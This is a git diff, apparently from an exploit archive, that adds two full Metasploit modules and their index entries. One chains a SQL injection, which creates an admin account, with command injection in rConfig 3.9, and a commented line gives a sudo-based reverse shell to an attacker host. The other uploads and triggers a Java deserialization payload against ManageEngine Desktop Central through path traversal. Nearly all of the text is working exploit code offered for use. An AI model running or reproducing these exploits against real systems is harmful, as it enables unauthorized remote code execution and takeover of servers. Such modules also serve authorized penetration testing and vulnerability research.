diff --git a/exploits/linux/remote/48223.rb b/exploits/linux/remote/48223.rb new file mode 100755 index 000000000..ad6f6f499 --- /dev/null +++ b/exploits/linux/remote/48223.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rconfig 3.x Chained Remote Code Execution', + 'Description' => ' + This module exploits multiple vulnerabilities in rConfig version 3.9 + in order to execute arbitrary commands. + This module takes advantage of a command injection vulnerability in the + `path` parameter of the ajax archive file functionality within the rConfig web + interface in order to execute the payload. + Valid credentials for a user with administrative privileges are required. + However, this module can bypass authentication via SQLI. + This module has been successfully tested on Rconfig 3.9.3 and 3.9.4. + The steps are: + 1. SQLi on /commands.inc.php allows us to add an administrative user. + 2. An authenticated session is established with the newly added user + 3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to + execute the payload. + 4. Remove the added admin user. + Tips : once you get a shell, look at the CVE-2019-19585. + You will probably get root because rConfig install script add Apache user to + sudoers with nopasswd ;-) + ', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module + 'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/) + ], + 'References' => + [ + ['CVE', '2019-19509'], # authenticated rce + ['CVE', '2020-10220'], # sqli auth bypass + %w[EDB 47982], + %w[EDB 48208], + ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE + ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py'] # unauthenticated SQLi + ], + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Targets' => [['Auto', {}]], + 'Privileged' => false, + 'DisclosureDate' => '2020-03-11', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects + 'PAYLOAD' => 'generic/shell_reverse_tcp' + }, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/']) + ] + end + + # CHECK IF RCONFIG IS REACHABLE AND INSTALLED + def check + vprint_status 'STEP 0: Get rConfig version...' + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => '/login.php' + ) + if !res || !res.get_html_document + fail_with(Failure::Unknown, 'Could not check rConfig version') + end + if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9' + print_good('rConfig version 3.9 detected') + return Exploit::CheckCode::Appears + elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig' + print_status('rConfig detected, but not version 3.9') + return Exploit::CheckCode::Detected + end + end + + # CREATE AN ADMIN USER IN RCONFIG + def create_rconfig_user(user, _password) + vprint_status 'STEP 1 : Adding a temporary admin user...' + fake_id = Rex::Text.rand_text_numeric(3) + fake_pass = Rex::Text.rand_text_alpha(10) + fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin' + fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d' + userleveladmin = 9 # Administrator + user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--" + sqli_res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/commands.inc.php'), + 'method' => 'GET', + 'vars_get' => { + 'search' => 'search', + 'searchOption' => 'contains', + 'searchField' => 'vuln', + 'searchColumn' => user_sqli + } + ) + unless sqli_res + print_warning('Failed to create user: Connection failed.') + return + end + print_good "New temporary user #{user} created" + end + + # AUTHENTICATE ON RCONFIG + def login(user, pass) + vprint_status "STEP 2: Authenticating as #{user} ..." + # get session cookie (PHPSESSID) + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => '/login.php' + ) + @cookie = res.get_cookies + if @cookie.empty? + fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies' + return + end + # authenticate + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'), + 'cookie' => @cookie, + 'vars_post' => { + pass: pass, + user: user, + sublogin: 1 + } + ) + unless res + print_warning('Failed to authenticate: Connection failed.') + return + end + print_good "Authenticated as user #{user}" + end + + def trigger_rce(cmd, _opts = {}) + vprint_status "STEP 3: Executing the command (#{cmd})" + trigger = "`#{cmd} #`" + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'), + 'cookie' => @cookie, + 'vars_get' => { + 'path' => trigger, + 'ext' => 'random' + } + ) + # the page hangs because of the command being executed, so we can't expect HTTP response + # unless res + # fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed' + # return + # end + # unless res.body.include? '"success":true' + # fail_with Failure::Unknown, 'It seems that the code was not executed' + # return + # end + print_good 'Command sucessfully executed' + end + + # DELETE A USER + def delete_rconfig_user(user) + vprint_status 'STEP 4 : Removing the temporary admin user...' + del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--" + del_res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/commands.inc.php'), + 'method' => 'GET', + 'vars_get' => { + 'search' => 'search', + 'searchOption' => 'contains', + 'searchField' => 'vuln', + 'searchColumn' => del_sqli + } + ) + unless del_res + print_warning "Removing user #{user} failed: Connection failed. Please remove it manually." + return + end + print_status "User #{user} removed successfully !" + end + + def cleanup + super + delete_rconfig_user @username if @username + end + + def exploit + check + @username = rand_text_alphanumeric(8..12) + @password = 'admin' + create_res = create_rconfig_user @username, @password + login(@username, @password) + tmp_txt_file = Rex::Text.rand_text_alpha(10) + tmp_zip_file = Rex::Text.rand_text_alpha(10) + # The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-( + # trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'") + trigger_rce(payload.encoded.to_s) + end +end \ No newline at end of file diff --git a/exploits/multiple/remote/48224.rb b/exploits/multiple/remote/48224.rb new file mode 100755 index 000000000..313662edc --- /dev/null +++ b/exploits/multiple/remote/48224.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Desktop Central Java Deserialization', + 'Description' => %q{ + This module exploits a Java deserialization vulnerability in the + getChartImage() method from the FileStorage class within ManageEngine + Desktop Central versions < 10.0.474. Tested against 10.0.465 x64. + + "The short-term fix for the arbitrary file upload vulnerability was + released in build 10.0.474 on January 20, 2020. In continuation of that, + the complete fix for the remote code execution vulnerability is now + available in build 10.0.479." + }, + 'Author' => [ + 'mr_me', # Discovery and exploit + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2020-10189'], + ['URL', 'https://srcincite.io/advisories/src-2020-0011/'], + ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'], + ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'], + ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html'] + ], + 'DisclosureDate' => '2020-03-05', # 0day release + 'License' => MSF_LICENSE, + 'Platform' => 'windows', + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['Windows Command', + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd + ], + ['Windows Dropper', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :win_dropper + ], + ['PowerShell Stager', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :psh_stager + ] + ], + 'DefaultTarget' => 2, + 'DefaultOptions' => { + 'RPORT' => 8383, + 'SSL' => true, + 'WfsDelay' => 60 # It can take a little while to trigger + }, + 'CmdStagerFlavor' => 'certutil', # This works without issue + 'Notes' => { + 'PatchedVersion' => Gem::Version.new('100474'), + 'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page? + 'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'configurations.do') + ) + + unless res + return CheckCode::Unknown('Target is not responding to check') + end + + unless res.code == 200 && res.body.include?('ManageEngine Desktop Central') + return CheckCode::Unknown('Target is not running Desktop Central') + end + + version = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text + + unless version + return CheckCode::Detected('Could not detect Desktop Central version') + end + + vprint_status("Detected Desktop Central version #{version}") + + if Gem::Version.new(version) < notes['PatchedVersion'] + return CheckCode::Appears("#{version} is an exploitable version") + end + + CheckCode::Safe("#{version} is not an exploitable version") + end + + def exploit + # NOTE: Automatic check is implemented by the AutoCheck mixin + super + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + + case target['Type'] + when :win_cmd + execute_command(payload.encoded) + when :win_dropper + execute_cmdstager + when :psh_stager + execute_command(cmd_psh_payload( + payload.encoded, + payload.arch.first, + remove_comspec: true + )) + end + end + + def execute_command(cmd, _opts = {}) + # XXX: An executable is required to run arbitrary commands + cmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper + + vprint_status("Serializing command: #{cmd}") + + # I identified mr_me's binary blob as the CommonsBeanutils1 payload :) + serialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload( + 'CommonsBeanutils1', + cmd + ) + + # XXX: Patch in expected serialVersionUID + serialized_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e" + + # Rock 'n' roll! + upload_serialized_payload(serialized_payload) + deserialize_payload + end + + def upload_serialized_payload(serialized_payload) + print_status('Uploading serialized payload') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, + '/mdm/client/v1/mdmLogUploader'), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'udid' => 'si\\..\\..\\..\\webapps\\DesktopCentral\\_chart', + 'filename' => 'logger.zip' + }, + 'data' => serialized_payload + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload') + end + + print_good('Successfully uploaded serialized payload') + + # C:\Program Files\DesktopCentral_Server\bin + register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip') + end + + def deserialize_payload + print_status('Deserializing payload') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'cewolf/'), + 'vars_get' => {'img' => '\\logger.zip'} + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Could not deserialize payload') + end + + print_good('Successfully deserialized payload') + end + +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index f2229c4b3..568c11513 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -18044,6 +18044,8 @@ id,file,description,date,author,type,platform,port 48191,exploits/linux/remote/48191.rb,"Nagios XI - Authenticated Remote Command Execution (Metasploit)",2020-03-10,Metasploit,remote,linux, 48192,exploits/php/remote/48192.rb,"PHPStudy - Backdoor Remote Code execution (Metasploit)",2020-03-10,Metasploit,remote,php, 48214,exploits/hardware/remote/48214.py,"Drobo 5N2 4.1.1 - Remote Command Injection",2020-03-13,"Ian Sindermann",remote,hardware, +48223,exploits/linux/remote/48223.rb,"Rconfig 3.x - Chained Remote Code Execution (Metasploit)",2020-03-17,Metasploit,remote,linux, +48224,exploits/multiple/remote/48224.rb,"ManageEngine Desktop Central - Java Deserialization (Metasploit)",2020-03-17,Metasploit,remote,multiple, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,